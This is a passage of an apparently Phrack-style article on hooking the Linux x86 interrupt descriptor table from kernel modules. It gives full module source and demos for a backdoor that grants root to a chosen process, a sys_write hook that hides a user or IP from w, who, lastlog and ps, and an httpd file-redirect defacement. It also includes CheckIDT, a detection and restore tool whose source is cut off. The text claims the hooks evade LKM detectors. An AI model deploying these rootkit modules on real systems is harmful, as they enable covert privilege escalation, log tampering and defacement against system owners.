inb,inw,inl    : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.


    So we can read the scancode of the keyboard thanks to the function inb,
and its status (pushed, released). Unfortunately, I'm not sure of the port
to read. The port for the scancode is 0x60 and the port for the status is
0x64.

scancode=inb(0x60);
status=inb(0x64);


    scancode is going to be equal to a value that will have to be
transformed to know which key has been hit. This is realized with an array
of value. It may exist a function that give directly the conversion, but
I'm not sure. If anyone has information about it or wish to develop the
topic, he can contact me.


--[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL

----[ 5.1 - List of the syscalls

You can find a list of all the syscalls at the url : 
http://www.lxhp.in-berlin.de/lhpsysc0.html [3]. 
All syscalls are listed and the value to put in the registers are given.

Rem : be ware, the numbers of the syscalls are not the same in 2.2.* 
and 2.4.* kernels.


----[ 5.2 - How does a syscall work ?

    Thanks to the technique that we have just used here, we can also hook
the syscalls. When a syscall is called, all the parameters of the syscall 
are in the registers.

eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param

    The maximum number of arguments can't exceed 5. However, some syscalls
need more than 5 arguments. It is the case for the syscall mmap (6 params). 
In such a case, a single register is used to point to a memory area to the 
addressing space of the process in user mode that contains the values of 
the parameters.

    We can get these values thanks to the structure pt_regs that we've seen
before. We are going to hook syscalls at the IDT level and not in the
syscall_table. kstat and all currently available LKM detection tools will
fail in detecting our voodoo. I won't show you all what can be done by
hooking the syscalls, the technique used by pragmatic or so in their LKMs
are applicable here. I will show you how to hook some syscalls, you will
be able to hook those you want using the same technique.


----[ 5.3 - Hooking for profit

------[ 5.3.1 - Hooking of sys_setuid

SYS_SETUID:
-----------

EAX: 213
EBX: uid

We are going to begin with a simple case, a backdoor that change the rights
of a process into root. The same backdoor as in 3.5 but we are going to 
hook the syscall setuid.

asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare if it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx                   \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall, 
		//put top stack address on stack :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx                      \n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx                      \n"
                "       popl %%ecx                      \n"
                "       popl %%edx                      \n"
                "       popl %%esi                      \n"
                "       popl %%edi                      \n"
                "       popl %%ebp                      \n"
                "       popl %%eax                      \n"
                "       popl %%ds                       \n"
                "       jmp  *%1                        \n"
        ::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
        );
        }


- we save the values of all the registers on the stack
- we compare eax that contains the number of the syscall with the value 
  of sys_number that we have defined above.
- if it is the good syscall, we put on the stack the value of esp from 
  which have saved all the registers (that will be used for pt_regs) and 
  the current process descriptor.
- we call our C handler, then at the return, we pop 8 bytes (eax + edx).
- finis : we put back the value of our registers and we call the true 
  handler.

By changing the value of sys_number, we can hook any syscall with this asm 
handler.


C handler
----------

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
        if (regs->ebx == 12345 )
                {
                my_task->uid=0;
                my_task->gid=0;
                my_task->suid=1000;
                }
        }

We get the value of the registers in a pt_regs structure and the address 
of the current fd. We compare the value of ebx with 12345, if it is equal 
then we set the uid and the gid of the current process to 0.


In practice :
--------------

bash-2.05$ cat setuid.c
#include <stdio.h>
int main (int argc,char ** argv)
    {
    setuid(12345);
    system("/bin/sh");
    return 0;
    }
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#


We are root. This technique can be used with many syscalls.


------[ 5.3.2 - Hooking of sys_write

SYS_WRITE:
----------

EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send

We are going to hook sys_write so that it will replace a string in a 
defined program. Then, we will hook sys_write so that it will replace 
in the whole system. 

The asm handler in the same as in 5.3.1


C handler
----------

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
	    strcmp(my_task->comm,"lastlog")==0 || 
	    ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
               {
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                copy_from_user(buffer,ptr,regs->edx);
                if(hide_string)
                        {
                         ptr3=strstr(buffer,hide_string);
                        }
                else
                        {
                         ptr3=strstr(buffer,HIDE_STRING);
                        }
                if(ptr3 != NULL )
                        {
                        if (false_string)
                        {
                           strncpy(ptr3,false_string,strlen(false_string));
                             }
                        else
                        {
                           strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
                                }
                        copy_to_user(ptr,buffer,regs->edx);
                        }
                kfree(buffer);
                }
        }

- We compare the name of the process with a defined program name and with 
  the name that we will specify in param when we insert our module 
  (progy param).
- We allocate some space for the buffer that will receive the string that 
  is in regs->ecx
- We copy the string that sys_write is going to write from the userland to 
  the kernelland (copy_from_user)
- We search for the string we want to hide in the string that sys_write is 
  going to write.
- If found,we change the string to be hidden with the one wanted in 
  our buffer.
- we copy the false string in the userland (copy_to_user)


In practice :
--------------

%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
 12:07am  up 38 min,  2 users,  load average: 0.60, 0.60, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
kad      tty1     -                11:32pm 35:15  14:57   0.03s  sh /usr/X11/bin/startx
kad      pts/1    :0.0             11:58pm  8:51   0.08s  0.03s  man setuid
%modinfo hookstub-V0.5.2.o
filename:    hookstub-V0.5.2.o
description: "Hooking of sys_write"
author:      "kad"
parm:        interrupt int, description "Interrupt number"
parm:        hide_string string, description "String to hide"
parm:        false_string string, description "The fake string"
parm:        progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel 
progy=ps
Inserting hook
Hooking finish

%w
 12:07am  up 38 min,  2 users,  load average: 0.63, 0.61, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
marcel   tty1     -                11:32pm 35:21  15:01   0.03s  sh /usr
marcel   pts/1    :0.0             11:58pm  8:57   0.08s  0.03s  man setuid

%ps -au
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
marcel     133  0.0  1.4  2044 1256 pts/0    S    May12   0:00 -bash
root       146  0.0  1.4  2032 1260 pts/0    S    May12   0:00 -su
root       243  0.0  1.6  2612 1444 pts/0    S    00:05   0:00 -sh
root       259  0.0  0.9  2564  836 pts/0    R    00:07   0:00 ps -au
%

    The string "kad" is hidden. The whole source code is in annexe CODE 3. 
This example is quite simple but could be more interesting. Instead of 
changing "kad" with "marcel", we could change our IP address with
another. And, instead of hooking the output of w, who or lastlog, we could
use klogd...


Complete hooking of sys_write
------------------------------

The complete hooking of sys_write can be useful in some case, like for example 
changing an IP with another. But if you change a string completely, 
you won't be hidden long. If you change a string with another, it's the whole 
system that will be changed. Even a simple cat will be influenced :

%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye!  "
Inserting hook
Hooking finish
%echo hello!
bye!
%


The C handler for this example is the same as the previous one without the 
if condition. Beware, this could slow down your system a lot.


----[ 5.4 - Hooking for fun

This example is only "for fun" :), don't misuse it. You could turn an admin 
mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook 
the syscall sys_open so that it opens another file instead of a defined file, 
but only if it is a defined "entity" that opens the file. This entity will be 
httpd here...

SYS_OPEN:
---------

EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions

The asm handler is always the same as the previous ones.

C handler :
------------

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
    if(strcmp(my_task->comm,"httpd") == 0)
        {
        if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
            {
            copy_to_user((char *)regs->ebx,"/tmp/hacked",
	    strlen((char *) regs->ebx));
            }
        }
        }

    We hook sys_open, if httpd call sys_open and tries to open index.html,
then we change index.html with another page we've chosen. We can also use
MODULE_PARM to more easily change the page. If someone opens the file with
a classic editor, he will see the true index.html!

    Hooking a syscall is very easy with this technique. Moreover, few
modifications are to be done for hooking this or that syscall. The only
thing to change is the C handler. We could however play with the asm
handler, for example to invert 2 syscalls. We would only have to compare
the value of eax and to change it with the number of a defined syscall. 
For an admin, we could hook the "hot" syscalls and warn with a message as
soon as the syscall is called. We would be warned of the modifications on
the syscall_table.


--[ 6 - CHECKIDT

    CheckIDT is a little program that I have written that allow to "play"
with the IDT from the userland. i.e. without using a lkm, thanks to the
technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, 
I had to face many kernel crashes and it was not dead but I couldn't 
remove the lkm. I had to reboot to change the value of the IDT. CheckIDT
allow to change the value of the IDT without the use of a lkm. CheckIDT is
here to help you coding your lkms and prevent you from rebooting all the
time. On the other hand, this software can warn you of modifications of the
IDT and so be useful for admins. It can restore the IDT state in tripwire
style. It saves each descriptor of the IDT in a file, then it compares the
descriptors with the saved values and put the IDT back if there were
modifications.


Some examples of use :
-----------------------

%./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
       -a nb    show all info about one interrupt
       -A       show all info about all interrupt
       -I       show IDT address
       -c       create file archive
       -r       read file archive
       -o file  output filename (for creating file archive)
       -C       compare save idt & new idt
       -R       restore IDT
       -i file  input filename to compare or read
       -s       resolve symbol thanks to /boot/System.map
       -S file  specify a map file


%./checkidt -a 3 -s

Int *** Stub Address *** Segment *** DPL *** Type             Handler Name
--------------------------------------------------------------------------
3       0xc0109370       KERNEL_CS   3       System gate      int3


Thanks for choose kad's products :-)
%

We can obtain information on an interrupt descriptor.
"-A" allow to obtain information on all interrupts.


%./checkidt -c

Creating file archive idt done

Thanks for choosing kad's products :-)
%insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finished
%./checkidt -C

Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0109370
New Value : 0xc583e064

Thanks for choosing kad's products :-)
%./checkidt -R

Restore old stub address of interrupt 3

Thanks for choosing kad's products :-)
%./checkidt -C

All values are same

Thanks for choosing kad's products :-)
%lsmod
Module                  Size  Used by
hookstub-V0.3.2          928   0  (unused)
...
%

So CheckIDT has restored the values of the IDT as they were before 
inserting the module. However, the module is still here but has no effect. 
As in tripwire, I advice you to put the IDT save file in a read only area, 
otherwise someone could be compromised.

rem : if the module is well hidden, you will also be warned of the modifications 
of IDT.

The whole source code is in annexe CODE 4.


--[ 7 - REFERENCES

[1] http://www.linuxassembly.org/resources.html#tutorials
    Many docs on asm inline

[2] http://www.xml.com/ldd/chapter/book/
    linux device drivers

[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
    detailed syscalls list

[4] http://eccentrica.org/Mammon/
    Mammon site, thanks mammon ;)

[5] http://www.oreilly.com/catalog/linuxkernel/
    o'reilly book , great book :)

[6] http://www.tldp.org/LDP/lki/index.html
    Linux Kernel 2.4 Internals

[7] Sources of 2.2.19 and 2.4.17 kernel

[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
    good info about how bottom half work

[9] http://www.s0ftpj.org/en/tools.html
    kstat

GREETZ

- Special greetz to freya, django and neuro for helping me to translate
  this text in English. Greetz again to skyper for his advice, thks a lot
  man! :)
- Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !)
- Big greetz to mayhem, insulted, ptah and sauron for testing the codes 
  and verifying the text.
- Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all 
  those who were at the RtC.Party, nywass, the polos :) and all those I
  forget.


--[ 8 - Appendix


CODE 1: 
-------

/*****************************************/
/* hooking interrupt 3 . Idea by mammon  */
/* with kad modification        	 */
/*****************************************/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/malloc.h>

#define error_code 0xc01092d0 //error code in my system.map
#define do_int3    0xc010977c //do_int3 in my system.map

asmlinkage void my_handler(struct pt_regs * regs,long err_code);

/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "
        ::
        );
        }

asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        {
        void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
        printk("<1>Wowowo hijacking de l'int 3 \n");
        (*old_int_handler)(regs,err_code);
        return;
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         return;
        }

int init_module(void)
        {
        ptr_idt_table=get_addr_idt();
        hook_stub(3,&my_stub,&old_stub);
        return 0;
        }

void cleanup_module()
        {
         hook_stub(3,(char *)old_stub,NULL);
        }

******************************************************************************

CODE 2:
-------

/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif

/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }


asmlinkage void my_function(unsigned long addr_task)
        {
        struct task_struct *p = &((struct task_struct *) addr_task)[0]; 
	if(strcmp(p->comm,"give_me_root")==0 )
                {
   		#ifdef DEBUG             
			printk("UID : %i GID : %i SUID : %i\n",p->uid,
			p->gid,p->suid);
		#endif
                p->uid=0;
                p->gid=0;
  		#ifdef DEBUG 		
			printk("UID : %i GID  %i SUID : %i\n",p->uid,p->gid,p->suid);
		#endif 	
                }
        else
                {
                #ifdef DEBUG
                        printk("<1>Interrupt %i hijack \n",interrupt);
                #endif
                }
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

unsigned short get_size_idt(void)
        {
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);
        return(size);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
         #endif
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
         #endif
         return;
        }

int write_console (char *str)
        {
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                {
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
                }
         else return -1;
        }

static int __init kad_init(void)
        {
        int x;
 	EXPORT_NO_SYMBOLS;       
	ptr_idt_table=get_addr_idt();
        write_console("Inserting hook \r\n");
        hook_stub(interrupt,&my_stub,&old_stub);
	#ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        #endif
        write_console("Hooking finished \r\n");
        return 0;
        }

static void kad_exit(void)
        {
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);
        }

module_init(kad_init);
module_exit(kad_exit);


******************************************************************************

CODE 3:
-------

/**************************************************************/
/* Hooking of sys_write for w,who and lastlog. 
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
#include <linux/interrupt.h>
#include <linux/compatmac.h>

#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"

/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx	                \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall , continue :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx          		\n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx    		        \n"
                "       popl %%ecx        		\n"
                "       popl %%edx          		\n"
                "       popl %%esi           		\n"
                "       popl %%edi             	  	\n"
                "       popl %%ebp              	\n"
                "       popl %%eax              	\n"
                "       popl %%ds               	\n"
                "       jmp  *%1                	\n"
        ::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
        );
        }

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 
	|| strcmp(my_task->comm,"lastlog")==0 							
	|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
               {
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                copy_from_user(buffer,ptr,regs->edx);
                if(hide_string)
                        {
                         ptr3=strstr(buffer,hide_string);
                        }
                else
                        {
                         ptr3=strstr(buffer,HIDE_STRING);
                        }
                if(ptr3 != NULL )
                        {
                        if (false_string)
                                {
                                strncpy(ptr3,false_string,strlen(false_string));
                                }
                        else
                                {
                                strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
                                }
                        copy_to_user(ptr,buffer,regs->edx);
                        }
                kfree(buffer);
               }
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",
		new_addr);
         #endif
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
         #endif
         return;
        }

int write_console (char *str)
        {
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                {
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
                }
         else return -1;
        }

static int __init kad_init(void)
        {
        EXPORT_NO_SYMBOLS;
        ptr_idt_table=get_addr_idt();
        write_console("Inserting hook \r\n");
        hook_stub(interrupt,&my_stub,&old_stub);
        #ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        #endif
        write_console("Hooking finish \r\n");
        return 0;
        }

static void kad_exit(void)
        {
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);
        }

module_init(kad_init);
module_exit(kad_exit);


******************************************************************************

<++> checkidt/Makefile
all: checkidt.c
	gcc -Wall -o checkidt checkidt.c
<-->

<++> checkidt/checkidt.c
/*
 * CheckIDT V1.1
 * Play with IDT from userland
 * It's a tripwire kind for IDT
 * kad 2002
 * 
 * gcc -Wall -o checkidt checkidt.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <asm/segment.h>
#include <string.h>

#define NORMAL          "\033[0m"
#define NOIR            "\033[30m"
#define ROUGE           "\033[31m"
#define VERT            "\033[32m"
#define JAUNE           "\033[33m"
#define BLEU            "\033[34m"
#define MAUVE           "\033[35m"
#define BLEU_CLAIR      "\033[36m"
#define SYSTEM          "System gate"
#define INTERRUPT       "Interrupt gate"
#define TRAP            "Trap gate"
#define DEFAULT_FILE    "Safe_idt"
#define DEFAULT_MAP		"/boot/System.map"

/***********GLOBAL**************/
int fd_kmem;
unsigned long ptr_idt;
/******************************/


struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

struct Mode
        {
         int show_idt_addr;
         int show_all_info;
         int read_file_archive;
         int create_file_archive;
         char out_filename[20];
         int compare_idt;
         int restore_idt;
         char in_filename[20];
         int show_all_descriptor;
	 int resolve;
	 char map_filename[40];   
      };

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

unsigned short get_size_idt(void)
        {
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);
        return(size);
        }

char * get_segment(unsigned short selecteur)
        {
         if(selecteur == __KERNEL_CS)
                {
                 return("KERNEL_CS");
                }
         if(selecteur == __KERNEL_DS)
                {
                 return("KERNEL_DS");
                }
         if(selecteur == __USER_CS)
                {
                 return("USER_CS");
                }
         if(selecteur == __USER_DS)
                {
                 return("USER_DS");
                }
         else
                {
                 printf("UNKNOW\n");
                }
        }


void readkmem(void *m,unsigned off,int size)
        {
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                {
                fprintf(stderr,"Error lseek. Are you root? \n");
                exit(-1);
                }
        if(read(fd_kmem,m,size)!= size)
                {
                fprintf(stderr,"Error read kmem\n");
                exit(-1);
                }
        }

void writekmem(void *m,unsigned off,int size)
        {
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                {
                fprintf(stderr,"Error lseek. Are you root? \n");
                exit(-1);
                }
        if(write(fd_kmem,m,size)!= size)
                {
                fprintf(stderr,"Error read kmem\n");
                exit(-1);
                }
        }

void resolv(char *file,unsigned long stub_addr,char *name)
	{
	FILE *fd;
	char buf[100],addr[30];
	int ptr,ptr_begin,ptr_end;
	snprintf(addr,30,"%x",(char *)stub_addr);
	if(!(fd=fopen(file,"r")))
		{
		fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
		exit(-1);
		}
 	while(fgets(buf,100,fd) != NULL)
		{	
		ptr=strstr(buf,addr);
		if(ptr)
			{
			bzero(name,30);
			ptr_begin=strstr(buf," ");
			ptr_begin=strstr(ptr_begin+1," ");
			ptr_end=strstr(ptr_begin+1,"\n");
			strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
			break;
			}
	 	}
	if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); 
	fclose(fd);
	}

void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
        {
        struct descriptor_idt *descriptor;
        unsigned long stub_addr;
        unsigned short selecteur;
        char type[15];
        char segment[15];
	char name[30];
        int x;
        int dpl;
	bzero(name,strlen(name));
        descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        printf("Int *** Stub Address *** Segment *** DPL *** Type ");
	if(resolve >= 0) 
		{
		printf("            Handler Name\n");
		printf("--------------------------------------------------------------------------\n");
		}
	else
		{
		printf("\n");
        	printf("---------------------------------------------------\n");
		}
	
        if(interrupt >= 0)
                {
                readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                selecteur=(unsigned short) descriptor->seg_selector;
                if(descriptor->flag & 64) dpl=3;
                else dpl = 0;
                if(descriptor->flag & 1)
                        {
                        if(dpl)
                                strncpy(type,SYSTEM,sizeof(SYSTEM));
                        else strncpy(type,TRAP,sizeof(TRAP));
                        }
                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
                strcpy(segment,get_segment(selecteur));
                
		if(resolve >= 0) 
			{
			resolv(file,stub_addr,name); 
			printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
			}
		else 
			{
			printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
			}   
             }
        if(all_descriptor >= 0 )
                {
                for (x=0;x<(get_size_idt()+1)/8;x++)
                        {
                        readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                        stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                        if(stub_addr != 0)
                                {
                                selecteur=(unsigned short) descriptor->seg_selector;
                                if(descriptor->flag & 64) dpl=3;
                                else dpl = 0;
                                if(descriptor->flag & 1)
                                        {
                                        if(dpl)
                                                strncpy(type,SYSTEM,sizeof(SYSTEM));
                                        else strncpy(type,TRAP,sizeof(TRAP));
                                        }
                                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
